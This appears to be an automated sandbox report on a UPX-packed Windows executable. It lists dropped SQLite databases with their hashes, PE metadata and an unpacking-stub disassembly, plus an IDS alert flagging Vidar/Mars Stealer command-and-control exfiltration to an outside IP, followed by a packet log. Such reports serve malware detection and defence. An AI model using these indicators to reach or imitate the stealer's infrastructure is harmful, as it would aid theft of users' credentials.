MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\GDBS0R1V

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\KXBA1VAI

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\M7Y5PZUK

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\UAS0ZU3E

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\X4ECT0ZM

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.815732886183396
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BBiIn5gqhd.exe
File size:	70'144 bytes
MD5:	311476e365e80b02b44b55ddcf5865c4
SHA1:	d6fd497eb25234c77b2e8f672e292b5f9f760550
SHA256:	a1e0a1c53824bb1d9d0adcaa6a8e8e2f5bef673b0981807a5775a182f28fe235
SHA512:	70ff8f50b54df097a456689eed6c6218b2bb9d8c9e9f46c7b6e5a9dc5060eb331ba36f13cde252758b049f5b4ac498abf2d2b5c256edaf5dd7c777274e31b231
SSDEEP:	1536:x2vMlMpCPJeGnyJDBld71oCe10yf0cCGMyo+JM4Z8L6Q3hs1:x2vMlMp8JeoyJDBlZycdGMyoYM+/D
TLSH:	B46302F4E009AAABC1FB6FFBE725345D79970D501C0D7162B9076DDB2A98310471BD22
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6...XY..XY..XY...Y..XY..YX..XY..YY..XY...Y..XY...Y..XYRich..XY........PE..L......a..........................................@

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x430890
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61D5A684 [Wed Jan 5 14:09:08 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4753904c40d638a1bc745c65b88291d5

Entrypoint Preview

Instruction
pushad
mov esi, 00420000h
lea edi, dword ptr [esi-0001F000h]
push edi
or ebp, FFFFFFFFh
jmp 00007F7E5C8025B2h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F7E5C8025A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F7E5C80258Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F7E5C8025A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F7E5C802591h
jne 00007F7E5C8025ABh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F7E5C802586h
xor ecx, ecx
sub eax, 03h
jc 00007F7E5C8025AFh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F7E5C802616h
mov ebp, eax
add ebx, ebx
jne 00007F7E5C8025A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F7E5C8025A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F7E5C8025C2h
inc ecx
add ebx, ebx
jne 00007F7E5C8025A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F7E5C802591h
jne 00007F7E5C8025ABh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F7E5C802586h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F7E5C8025B1h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F7E5C802599h
jmp 00007F7E5C802508h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 00000000h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31000	0xb8	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x1f000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x20000	0x11000	0x10c00	38e1fbb30ac9836ed559c7b3f2b5c601	False	0.9712715718283582	PGP Secret Sub-key -	7.853428739253096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x31000	0x1000	0x200	a2754e619ea20747e297cb3ad89988aa	False	0.251953125	data	1.7238635658173231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
msvcrt.dll	memset

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-24T11:02:02.928028+0200	TCP	2033163	ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil	1	49704	80	192.168.2.5	104.194.151.11

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2024 11:01:56.814210892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:56.819740057 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:56.819853067 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:56.819986105 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:56.824848890 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.435911894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.436027050 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.443042994 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.447907925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612552881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612567902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612576962 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612581968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612591982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612602949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612611055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612616062 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612622023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612631083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.612746954 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.612746954 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.612746954 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.613145113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.613193035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.617722034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.617758036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.617784977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.617801905 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.617868900 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.617912054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.683350086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.683542967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.704972982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705012083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705024004 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705054998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705065966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705076933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705168009 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705168009 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705168009 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705437899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705446959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705501080 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705560923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705579996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705590963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705621004 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705646992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705647945 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705657959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705668926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.705704927 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.705733061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.706660986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.706720114 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.706728935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.706777096 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.707076073 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707087040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707179070 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.707516909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707571030 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.707629919 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707640886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707652092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707663059 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707674026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.707680941 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.707712889 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.707726002 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.798546076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798574924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798583984 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798635006 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.798654079 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.798669100 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798681021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798691034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798715115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.798728943 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.798986912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.798996925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799009085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799021959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799026966 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.799057961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.799479961 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799490929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799501896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799534082 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.799541950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799546957 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.799552917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799562931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.799582958 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.799601078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.800265074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800276041 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800285101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800321102 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.800324917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800335884 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.800337076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800347090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.800373077 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.800390005 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.801170111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801187038 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801198006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801208973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801219940 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801222086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.801234007 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.801240921 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.801269054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.801985979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802004099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802015066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802038908 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802062035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802123070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802133083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802143097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802170992 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802181959 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802805901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802823067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802833080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802855968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802880049 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.802966118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802975893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.802990913 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.803004980 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.803020000 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.803037882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.803636074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.803684950 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892254114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892345905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892359018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892398119 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892407894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892417908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892429113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892440081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892452002 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892509937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892509937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892509937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892509937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892520905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892527103 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892527103 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892580986 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892707109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892718077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892728090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892739058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892750025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.892765999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.892792940 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.893101931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893112898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893122911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893170118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.893193960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893205881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893217087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893229008 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.893229008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893263102 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.893273115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893285036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.893318892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.893995047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894006968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894016981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894048929 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.894052029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894062996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894073963 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.894074917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894085884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894103050 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.894130945 CEST	49704	80	192.168.2.5	104.194.151.11
